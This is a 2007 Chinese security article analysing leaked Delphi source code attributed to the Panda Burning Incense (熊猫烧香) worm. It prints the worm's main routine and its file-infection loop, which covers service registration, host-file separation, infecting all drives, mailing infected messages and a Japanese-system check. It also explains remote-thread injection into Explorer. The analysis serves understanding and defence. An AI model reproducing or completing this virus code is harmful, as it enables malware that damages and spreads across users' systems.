熊猫烧香源码解析
netsecurity.51cto  2007-02-27 12:59  朱先忠  IT168  我要评论(1)
摘要:随着熊猫烧香asp 源代码病毒的始作俑者的落网,关于熊猫烧香病毒的危害和杀毒风波告一段落,然而随着熊猫烧香病毒源代码在网上的流行,一种隐含的巨大的危害仿佛才刚刚开始。本文中,作者对这个基于Delphi语言所编写的熊猫烧香源码做了进一步分析,并阐述了自己的几点看法。
标签:熊猫烧香  源码  启示
Oracle帮您准确洞察各个物流环节
一、引言
去年秋天回趟老家,适逢家中秋收后祭宅神。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安这是作为衣食百姓发
自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊
试问这位仁兄:你到底想干什么?
           
1熊猫烧香病毒感染可执行文件后的文件图标
在短短一个月时间里,熊猫烧香作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点熊猫烧香带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”
最近,一份据称是熊猫烧香病毒的源代码正在互联网上散播,任何人只要利用Google
Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的熊猫烧香源码作进一步分析,并阐述自己的几点看法。
二、熊猫烧香病毒源码浅析
()主程序段分析
熊猫烧香病毒源码主程序段代码如下所示:
{==================主程序开始====================}
begin
if IsWin9x then //Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), '') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7
InfectFiles; //感染和发邮件
end;
end.
稍加分析,我们不难绘出其相应的执行流程(如图2):
2:主程序流程图
对于代码:
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。
然后,上面代码在判断当前操作系统不是Win9X后,提到远程线程映射到Explorer进程一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16闯过进程的边界中详细讨论的使用远程线程来注入一个DLL”技术。如今,只要上网GOOGLE一下远程线程映射技术即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是,但并不是一回事!)进程在
Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。
另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。
因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个无毒程序(实际上文件名已经改变,加了一个空格字符)。 
接下来,让我们深入分析上面流程中“InfectFiles(感染文件)部分的执行过程。
()具体感染文件的过程
这个子过程的源码如下所示:
{遍历磁盘上所有的文件并实际感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言
IsJap := True; //吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟病毒常用简单术之一
end;
end;{ === InfectFiles }
这里的核心是后面的死循环。先让我们分析较简单的发带毒邮件部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(OutlookFoxMail)相应信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址发带毒的,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。